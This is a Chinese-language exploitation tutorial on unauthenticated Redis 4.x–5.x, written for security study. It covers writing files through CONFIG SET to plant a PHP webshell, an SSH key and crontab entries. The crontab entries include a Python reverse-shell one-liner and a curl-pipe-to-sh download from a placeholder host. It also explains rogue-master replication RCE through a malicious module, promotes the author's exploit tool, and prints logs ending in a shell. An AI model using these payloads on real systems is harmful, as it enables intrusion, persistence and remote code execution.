旨在学习redis未授权的利用原理,仅供安全研究学习

1 前期配置

首先配置一下redis环境。

安装受影响的redis版本:

$ wget http://download.redis.io/releases/redis-5.0.5.tar.gz
$ tar xzf redis-5.0.5.tar.gz
$ cd redis-5.0.5
$ make

编辑redis.conf文件

原:
bind 127.0.0.1
protected-mode yes
修改后:
# bind 127.0.0.1
protected-mode no

启动redis

$ ./src/redis-server redis.conf

外部连接redis

$ redis-cli -h [ip] -p [port]

2. 利用方法

2.1 方法一:键值存储——任意写

redis会将键值对写入到指定路径的文件内(当然包括之前已经存在的键值对),所以写入的文件若要有用,则需要一定的特殊条件(及容错性),如:

  1. htmlphp文件具有标签,可以忽略掉其他的键值。
  2. ssh公钥文件
  3. 任务计划 crontab

例子:

# php
dir:
/var/html/www
dbfilename:
evil.php
value:
<?php phpinfo(); ?>

# crontab
dir:
/var/spool/cron/root
/var/spool/cron/crontabs/root
dbfilename:
evil.php
value:
\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n

\n*/10 * * * *  curl -fsSL https://xxx.xxx.xxx.xxx/xxx/xx | sh\n
# -f:不输出错误
# -s: 静默不输出
# -S: -s 条件下输出错误
# -L: 跟踪重定向

# ssh
dir:
/root/.ssh/
dbfilename:
authorized_keys
value:
your_ssh_rsa

Ubuntu 下执行 crontab 使用的是 sh , 而 sh 软连接的是dash ,而不是 bash,那么如果你直接在 cron 里面写 bash - i xx 的反弹是不可能成功的,解决方法有两种,一种就是使用 Python 调用 /bin/sh 反弹 shell ,还有一种可以尝试写 sh 文件,然后用 cron 去执行

这个写文件具有一定的限制,比如在真实的生产环境,redis先前存在的键值对十分巨大,若执行写文件命令,则十分容易引起业务异常,宕机等严重情况

而使用命令

REDIS> flushall  

同样的,也将引起业务异常。

所以这招只能在确认键值对不多的情况下使用,或者打CTF的时候。

写入步骤:

REDIS> CONFIG SET dir [absolute_path]
REDIS> CONFIG SET dbfilename [file_name]
REDIS> SET xxx 'Content what you want' # key => xxx , value => 'Content what you want'
REDIS> SAVE

当然,填入的路径需要有写入的权限。

2.2 方法二:主从复制——RCE

2.2.1 原理

redis支持主从复制以实现负载均衡的功能,其表现为slaveof命令设置一个redis服务器为另一个redis服务器的从服务器, 其中主、从服务器的数据相同,而从服务器只负责读,主服务器只负责写,通过读写分离可以减轻大流量的压力。通过主从复制,我们可以在一台可以未授权登录的redis服务器上任意地同步一个指定redis服务器的数据,即在本地写入一个RDB(Redis DataBase)数据库文件(并且还可以通过CONFIG SET指定另一个保存的名称,不污染当前数据库)。而在reids 4.x新增了模块功能之后,其可以通过外部拓展(MODULE LOAD命令)加载一个so模块,实现在redis中实现一个新的redis命令。由此我们可以构造出一个恶意的so文件,通过主从连接将其当做RDB文件保存在未授权的redis服务器上,然后通过MODULE LOAD命令加载我们恶意的so文件,得到一个新定义的恶意命令(如执行shell命令)。

主从复制的大致攻击流程图如下:

redis未授权RCE

由于Redis在TCP上自己实现了一个简易的通信模式/协议,并且十分的简洁,我们可以根据如下图的主从复制的流程(仅构造红色虚线的Master响应即可),构造一个Rogue Redis Server回应对应的握手返回,并提供恶意so文件。

Redis的主从复制握手过程如下所示:

Redis主从复制握手

Redis支持两种传输格式

  1. 明文格式

    SET key value\n
  2. \x0d\x0a作为分隔符,经过类似格式化操作的格式。这么做比明文格式多了冗余检错机制,以防传输出错。

    image-20191129111103847

    例子:

    *3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n

2.2.2 命令

slaveof命令会指定当前机器为slavemaster_ip为主服务器,然后从master_ip处同步数据。

REDIS> SLAVEOF [master_ip]  [port]

关闭主从模式

REDIS> SLAVEOF NO ONE

加载/取消加载模块命令

REDIS> MODULE LOAD [path]
REDIS> MODULE UNLOAD [new_command]

2.2.3 利用

从原理可以看出Redis的传输协议十分的简洁,主从复制流程也较为松散,可以用python很容易的实现一个Rogue Server。虽然攻击原理图示中HackerRogue Server是分开的,但是实现的时候是可以在同一个机器上实现的(其实就是一个未授权连接加上一个本地侦听的端口)。

github上已经几个对其进行实现的小工具了,如Redis Rogue Server - Redis利用工具 - github

这些工具都是比较简易的工具 ,用的恶意so都是RicterZ'提供的 https://github.com/RicterZ/RedisModules-ExecuteCommand ,对getshell后的数据返回编码处理都不是很精确,时常会出现一些返回数据解码错误,然后需要重新连接的现象。当然这些都是比较poc向的工具(打打CTF还是够用的),要真正利用起来还得自己对数据处理还有重连部分重新写一下,具体也不难,大概十几二十行也能搞定。

在实际研究过程中对Rogue Server握手结束后回复的 +FULLRESYNC <Z*40> 1\r\n$\r\n$<len>\r\n<pld>并不是很理解image-20191129112721762

直到看到了wettper对Redis主从复制源码的分析文章渐进式解析 Redis 源码 - 复制 replication - wettper才理解为什么。

其实就是由于Redis的主从逻辑比较松散,从服务器(Slave)一般默认请求全量同步,而强制全量同步则会发送全量同步的请求PSYNC ? -1,若之前在这台主服务器同步过则拿出之前同步时的runid和复制偏移量offset发过去,即PSYNC [runid]] [offset]。(这里有些出入。源码逻辑看起来是这样的,但是实际上从服务器第一次同步一台新的主服务器也还是会发PSYNC [runid]] [offset],详细代码见下replication.c: line 1422,但是并不影响我们构造恶意的服务器响应)

但是这些Slave的请求并不重要,关键点在于主服务器不管你发什么请求,在源码逻辑中,反正决定是增量还是全量同步,是有Master端决定的。所以我们可以无脑的回复+FULLRESYNC [runid] [offset]来告诉从服务器我就是要全量同步。(此时的runid是服务器的runid,十六进制字符随意只要长度为40即可)。若是全量同步,则在这个FULLRESYNC响应之后的二进制流将被写入从服务器的RDB文件中。而在第一次未授权时我们已经设定了一个新的dbfilename,所以这个传过来的二进制流会顺利地、完整地当做RDB文件写入到我们指定的dbfilename中。一个完整的so文件就为我们后续的加载模块MODULE LOAD [PATH]提供了基础。

这也是为什么payload可以为<Z*40>

状态机处于REPL_STATE_SEND_PSYNC状态的时候,从服务器会尝试向主服务器发起同步请求,一般请求分为 全量同步增量同步;首次一般都是全量同步,而全量后的普通同步和由于网络等原因断开后重连的同步会选择增量同步秉着高效的原理,Redis v2.8 版本的时候引入了 PSYNC,主从可以增量同步,这样当主从链接短时间中断恢复后,无需做完整的RDB完全同步这种重量级操作。所以从服务器在连接上主服务器后首先尝试的是增量同步,因为有可能是断线后重连的情况,如果判断发现不是重连的情况不能进行增量同步,就进行一次全量同步。

/* replication.c: line 1422 */
// 摘自 slaveTryPartialResynchronization()
/* slave 同步请求PSYNC [REP_ID] [OFFSET] 逻辑*/

if (!read_reply) {
    // 初始化master_initial_offset 为 -1,标记当前 run_id 和 offset偏移量 无效;后面进行全量同步的时候会根据响应值进行设置
    server.master_initial_offset = -1;
    // 如果缓存不为空,则可以进行增量同步,证明为 断开重连的
    if (server.cached_master) {
        // 从服务器在主服务器里的标识 runid
        
        /* 
         * 但是奇怪的是,第一次连接一台新的主服务器也会进到这个分支
         * 日志会Trying a partial resynchronization (request %s:%s)
         * 发送十六进制的psync_replid 和 offset(=1) 而不是 ? 和 -1
         *(笔者注)
        */
        psync_replid = server.cached_master->replid;
        // 复制偏移量
        snprintf(psync_offset,sizeof(psync_offset),"%lld", server.cached_master->reploff+1);
        // 记录日志
        serverLog(LL_NOTICE,"Trying a partial resynchronization (request %s:%s).", psync_replid, psync_offset);
    } else {
        // 全量同步
        // 记录日志
        serverLog(LL_NOTICE,"Partial resynchronization not possible (no cached master)");
        // 从服务器在主服务器里的标识 runid
        psync_replid = "?";
        // 复制偏移量
        memcpy(psync_offset,"-1",3);
    }
    // 发送 PSYNC 命令给主服务器,同时传递 runid 和 复制偏移量 信息
    reply = sendSynchronousCommand(SYNC_CMD_WRITE,fd,"PSYNC",psync_replid,psync_offset,NULL);
    // 如果发送失败,则记录日志并 删除 读事件,返回错误
    if (reply != NULL) {
        serverLog(LL_WARNING,"Unable to send PSYNC to master: %s",reply);
        sdsfree(reply);
        aeDeleteFileEvent(server.el,fd,AE_READABLE);
        return PSYNC_WRITE_ERROR;
    }
    // 返回 等待回复标识PSYNC_WAIT_REPLY,调用逻辑会将 read_reply 设置为1,然后再次调用该函数,执行下面的读部分
    return PSYNC_WAIT_REPLY;
}

3.动手实践

根据原理写了个改进版的Redis Rogue Server,Github链接:Awsome-Redis-Rogue-Server

对当前实现Rogue Serverpython利用代码和module.c源码进行了学习与改进,新增了一些红队测试特性以如攻击请求方与Rogue Server分离,防止乱码,可写目录探测,恢复环境、清除已加载恶意模块等等。

Redis Rogue Server的涉及主要技术为Redis的主从复制以及外部模块加载,攻击核心思路如下:

redis-rogue-server.jpg

3.1 红队测试特性

  • 重写外部模块内存申请,避免被测试Redis服务器崩溃。
  • 更稳定的直连Shell与反弹Shell
  • 单独Rogue Server模式
  • Redis-CliRogue Server分离模式
  • 可写路径尝试
  • 添加标准错误重定向
  • 优化Shell解码问题
  • so随机名称、加载模块名称变更
  • 模块卸载、so文件清理,保持服务器的服务正常
  • Redis pass认证

详看源码

3.2 适用范围

Redis 4.x <= 5.x

3.3 Usage

$ python3 redis_rogue_server.py -h
usage: python3 redis_rogue_server.py -rhost [target_ip] -lhost [rogue_ip] [Extend options]

 Redis unauthentication test tool.

optional arguments:
  -h, --help      show this help message and exit
  -rhost RHOST    Target host.
  -rport RPORT    Target port. [default: 6379]
  -lhost LHOST    Rogue redis server, which target host can reach it.
                  THIS IP MUST BE ACCESSIBLE BY TARGET!
  -lport LPORT    Rogue redis server listen port. [default: 15000]
  -passwd PASSWD  Target redis password.
  -path SO_PATH   "Evil" so path. [default: module.so]
  -t RTIMEOUT     Rogue server response timeout. [default: 3]
  -s              Separate mod.
                  Whether Redis-Cli(This ip) and rogue Server(Can be other ip) are separated
                  rogue Server port listens locally by default, use flag -s shut down local port if lport conflict.
  -v              Verbose Mode.

Example:
  redis_rogue_server.py -rhost 192.168.0.1 -lhost 192.168.0.2
  redis_rogue_server.py -rhost 192.168.0.1 -lhost 192.168.0.2 -rport 6379 -lport 15000

Only Rogue Server Mode:
  redis_rogue_server.py -v

3.4 Example

$ python3 redis_rogue_server.py  -rhost 192.168.229.136 -lhost 192.168.229.150 -v
[*] Init connection...
[+] Target accessible!
[*] Exploit Step-1.
[+] RDB dir: /home/test/Desktop/redis-5.0.7
[*] Done.
[+] Accept connection from 192.168.229.136:44674
[>>]b'*1\r\n$4\r\nPING\r\n'
[<<]b'+PONG\r\n'
[>>]b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<<]b'+OK\r\n'
[>>]b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<<]b'+OK\r\n'
[>>]b'*3\r\n$5\r\nPSYNC\r\n$40\r\ne46ef23509ec51bb952dec34cb84e6c08388e5eb\r\n$1\r\n1\r\n'
[<<]b'+FULLRESYNC d2b79a2fbd16c050cdf136838f67093efb76509 1\r\n$45608\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00>\x00\x01\x00\x00\x00 *\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00...'
[*] The Rogue Server Finished Sending the Fake Master Response.
[*] Wait for redis IO and trans flow close...
[*] Exploit Step-2.
[*] Done.
[+] It may crash target redis cause transfer large data, be careful.
[?] Shell? [i]interactive,[r]reverse:i
[!] DO NOT USING THIS TOOL DO ANYTHING EVIL!
[+] =========================== Shell ============================= 
$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ exit
[*] Plz wait for auto exit. Cleaning.... 
[!] DO NOT SHUTDOWN IMMEDIATELY!
[*] Done.

3.4.1 分离模式

Rogue Server端: 192.168.229.150
攻击端: 192.168.229.136

不同于其他利用模块,将分离模式如用上图示所示。

先运行Rogue Server再运行攻击端Redis-Cli发送攻击指令,即本地将不会运行 Rogue Server ,而是依靠远程主机的 Rogue Server进行响应。

Rogue Server端

python3 ./redis_rogue_server.py  -v
[*] Listening on port: 15000
[+] Accept connection from 192.168.229.136:44762
[>>]b'*1\r\n$4\r\nPING\r\n'
[<<]b'+PONG\r\n'
[>>]b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<<]b'+OK\r\n'
[>>]b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<<]b'+OK\r\n'
[>>]b'*3\r\n$5\r\nPSYNC\r\n$40\r\na62cf45a906d4a68422cac6f835108dbecb25f3b\r\n$1\r\n1\r\n'
[<<]b'+FULLRESYNC b79062efe2211aa8328ab4da3d501fa21b2ac54a 1\r\n$45608\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00>\x00\x01\x00\x00\x00 *\x00\x00\x00\x00\x00\x00@\x00\x00\x00...'
[*] Wait for redis IO and trans flow close...

攻击端

python3 redis_rogue_server.py -rhost 192.168.229.136 -lhost 192.168.229.150 -s -v
[*] Separate Mode. Plz insure your Rogue Server are listening.
[*] Init connection...
[+] Target accessible!
[*] Exploit Step-1.
[+] RDB dir: /home/test/Desktop/redis-5.0.7
[*] Done.
[*] Wait 3 secs for REMOTE Rogue Server response.(Use flag -t [N] to change timeout)
[!] Make sure your remote Rogue Server is working now!
[*] Exploit Step-2.
[*] Done.
[+] It may crash target redis cause transfer large data, be careful.
[?] Shell? [i]interactive,[r]reverse:i
[!] DO NOT USING THIS TOOL DO ANYTHING EVIL!
[+] =========================== Shell =============================
$ id
uid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
$ exit

3.4.2 模块源码重编译

修改RedisModules/src/module.c,然后运行编译make

$ vim ./RedisModules/src/module.c
$ cd RedisModules
$ make

声明

该项目仅作为安全学习交流之用途,请遵守当地法律法规,任何用于非法用途产生的后果将由使用者本人承担。

All responsibilities are at your own risk, Please use it only for research purposes.

参考

https://github.com/RicterZ/RedisModules-ExecuteCommand

PPT - Pavel Toporkov

Redis 4.x RCE - 先知社区

对一次 redis 未授权写入攻击的分析以及 redis 4.x RCE 学习 - K0rz3n's Blog

渐进式解析 Redis 源码 - 复制 replication - wettper